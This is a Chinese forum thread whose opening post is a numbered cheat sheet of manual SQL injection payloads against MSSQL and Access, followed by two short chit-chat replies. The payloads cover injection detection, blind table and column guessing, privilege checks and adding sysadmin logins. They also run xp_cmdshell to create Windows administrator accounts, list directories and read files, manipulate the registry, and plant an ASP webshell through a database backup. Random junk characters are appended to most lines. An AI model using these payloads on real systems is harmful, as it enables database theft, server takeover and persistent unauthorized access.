社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4523阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 \iA.{,VX  
  2.初步判断是否是mssql ;and user>0 _/J`v`}G  
Os/?iGlD*E  
  3.注入参数是字符'and [查询条件] and ''=' n}dLfg *  
$T6+6<  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' )SHB1U25{  
! mZWd'  
  5.判断数据库系统 t 2,?+q$x  
e8eNef L$  
  ;and (select count(*) from sysobjects)>0 mssql < w;49 0g  
P}"T 3u\N  
  ;and (select count(*) from msysobjects)>0 access h2 y<vO  
FY)US>  
X4JSI%E  
P VSz%"  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 }"&Ye  
}J`cRDO  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0  Cwl:  
\[d~O>k2  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 `PT'Lakf;3  
:eH\9$F`x;  
  9.(1)猜字段的ascii值(access) D?G'1+RIT~  
-6xh  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 aP]h03sS  
92ngSaNC  
  (2)猜字段的ascii值(mssql) eVzZfB-=4}  
r%9=75HA  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Wjli(sT#-  
hlfdmh? /  
  10.测试权限结构(mssql) {TvB3QOsj  
CY\D.Eow  
Mzw:c#  
M6j~`KSE  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !xU[BCbfYV  
lV9   
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !8YA1 o  
>=86*U~  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- +(Jh$b_  
VNs3.  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;?y~ h$  
#itZ~tol  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }tQ^ch;Q  
}/4),W@<  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- d(K}v\3!  
x2f=o|]D'  
  ;and 1=(select IS_MEMBER('db_owner'));-- ,'n`]@0?\  
xX@9wNYD  
FQ0PXYh  
@}s EP&$  
  11.添加mssql和系统的帐户 !R![:T\,  
WtC&Qyuq  
  ;exec master.dbo.sp_addlogin username;-- /I:&P Pff  
  ;exec master.dbo.sp_password null,username,password;-- YRCOh:W*  
ByacSN  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- nG-DtG^z  
Lf`<4 P  
  ;exec master.dbo.xp_cmdshell 'net user username password +p$lVnAt  
SX&Q5:  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- eCiI=HcW;  
L#S|2L_hC  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8~F?%!X  
>uYU_/y$2  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- mNsd&Rk'  
uDLj*U6L  
F\jawoO9  
,20l` :  
  12.(1)遍历目录 viJP6fh  
Yy;BJ_  
  ;create table dirs(paths varchar(100), id int) S%e)br}  
m ?*h\NaB  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 5?0~7^de  
211V'|a_ >  
  ;and (select top 1 paths from dirs)>0 -`NzBuV$2,  
=ui3I_*)  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9ji`.&#  
u'^kpr`y  
MY^o0N  
X|aD>CT  
  (2)遍历目录 S|fb'  
y8Rq2jI;(e  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- =&<d4'(Qk  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 dkeMiL m  
Ko)f:=Qo  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 mW~*GD~r  
s~ou$!|  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 o$Y#C{wC%  
ErgWsAw-  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 sLWVgD  
,N nh$F  
r7^v@  
L2wX?NA  
  13.mssql中的存储过程 clk]JA (  
 n}- _fx  
  xp_regenumvalues 注册表根键, 子键 y.-Kqa~  
c|K:oi,z  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 D/=k9[b!  
a}iP +#;  
  xp_regread 根键,子键,键值名 li{!Jp5]1b  
oArXP\#  
  ;exec xp_regread j6j4M,UI43  
u\"/EaQ{  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 `2]TPaWGh  
9aX!<Z  
  xp_regwrite 根键,子键, 值名, 值类型, 值 #$]8WSl  
+"1-W> HV  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 (g&@E(@]?  
F%.UpV,  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 KT17I&:  
^+0>,-)F  
  xp_regdeletevalue 根键,子键,值名 ]re}EB\Rs  
X4+H8],)  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 R&$fWV;'  
Xoha.6$l5  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 !R@jbM  
drvrj~o:  
m4yWhUi(o  
KzJJ@D*4M]  
  14.mssql的backup创建webshell Q- w_ @~  
#N%j9  
  use model EB@rIvUi,  
m#-&<=  
  create table cmd(str image); ddbQFAQQQ  
.&`apQD}  
  insert into cmd(str) values (''); QjD=JC+  
))nTd=  
  backup database model to disk='c:\l.asp'; oKH+Q6S:  
dpX Fx"4A  
ru~!;xT  
)3<>H!yG}  
  15.mssql内置函数 !R gj'{  
oX'@,(6)  
  ;and (select @@version)>0 获得Windows的版本号 nyxoa/  
i29a1nD4Hm  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa fwlicbs'  
VDxF%!h(  
  ;and (select user_name())>0 爆当前系统的连接用户 BR_fOIDc  
TQPrOs?  
  ;and (select db_name())>0 得到当前连接的数据库 fn.;C  
~N7;. 3 7  
gVy`||z  
4#:C t* f  
  16.简洁的webshell j)#yyK{k2s  
7j29wvSp5  
  use model 6urU[t1  
6'.)z ,ts  
  create table cmd(str image); E25w^x2  
P,(_y8  
  insert into cmd(str) values (''); rO YD[+  
mIPDF1= )  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五